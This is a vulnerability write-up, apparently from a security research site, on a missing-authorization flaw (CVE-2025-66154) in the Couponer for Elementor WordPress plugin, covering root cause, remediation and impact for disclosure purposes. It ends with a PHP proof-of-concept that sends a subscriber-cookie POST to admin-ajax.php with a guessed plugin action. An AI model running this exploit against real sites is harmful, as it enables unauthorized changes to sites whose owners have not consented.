Atomic Edge analysis of CVE-2025-66154 (metadata-based):
This vulnerability is a missing authorization flaw in the Couponer for Elementor WordPress plugin, affecting versions up to and including 1.1.7. The flaw allows any authenticated user, including those with minimal subscriber-level permissions, to perform an unauthorized administrative action.
Atomic Edge research infers the root cause is a missing capability check on a WordPress AJAX or admin-post handler function. The CWE-862 classification confirms the plugin fails to verify a user’s permissions before executing a privileged function. Without access to source code, this conclusion is based on the vulnerability description and common WordPress plugin patterns where AJAX actions are registered without proper `current_user_can()` checks.
Exploitation requires an attacker to possess a valid WordPress subscriber account. The attack vector is likely a POST request to the standard WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The `action` parameter would contain a plugin-specific hook, such as `couponer_elementor_` prefixed action, which triggers the vulnerable function. No nonce verification is implied by the missing authorization classification.
Remediation requires adding a proper capability check, such as `current_user_can(‘manage_options’)` or a plugin-specific custom capability, to the vulnerable function before any sensitive operations execute. The patched code must also ensure any associated nonce verification is present and validated. The fix should be applied to all administrative callback functions registered via `add_action` for hooks like `wp_ajax_*` or `admin_post_*`.
The impact of successful exploitation is unauthorized action execution. The CVSS vector indicates low integrity impact (I:L) with no confidentiality or availability impact. This suggests the vulnerability permits actions like modifying plugin settings, creating or deleting coupon data, or altering display logic, but does not lead to full site compromise or data exfiltration on its own.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-66154 - Couponer for Elementor <= 1.1.7 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-66154.
* Assumptions: The vulnerable endpoint is a WordPress AJAX handler.
* The specific action name is inferred from the plugin slug 'couponer-elementor'.
* A valid subscriber-level WordPress session cookie is required.
*/
$target_url = 'http://vulnerable-wordpress-site.com'; // CONFIGURE THIS
// A valid WordPress logged-in cookie for a subscriber user.
// Obtain this via a separate authentication script or browser tools.
$wordpress_cookie = 'wordpress_logged_in_abc...'; // CONFIGURE THIS
// The AJAX endpoint is standard for WordPress plugins.
$ajax_endpoint = $target_url . '/wp-admin/admin-ajax.php';
// The 'action' parameter triggers the vulnerable function.
// Common patterns: 'couponer_elementor_action', 'couponer_action', 'couponer_save'.
// This PoC uses a plausible guess; the exact action may vary.
$post_data = array(
'action' => 'couponer_elementor_save_settings'
// Other parameters may be required depending on the function's purpose.
// 'data' => 'malicious_payload'
);
$ch = curl_init($ajax_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $wordpress_cookie);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// A successful exploitation may return a success message or a 200 status code.
// An unauthorized request should be blocked with a 403 if the site is patched.
?>
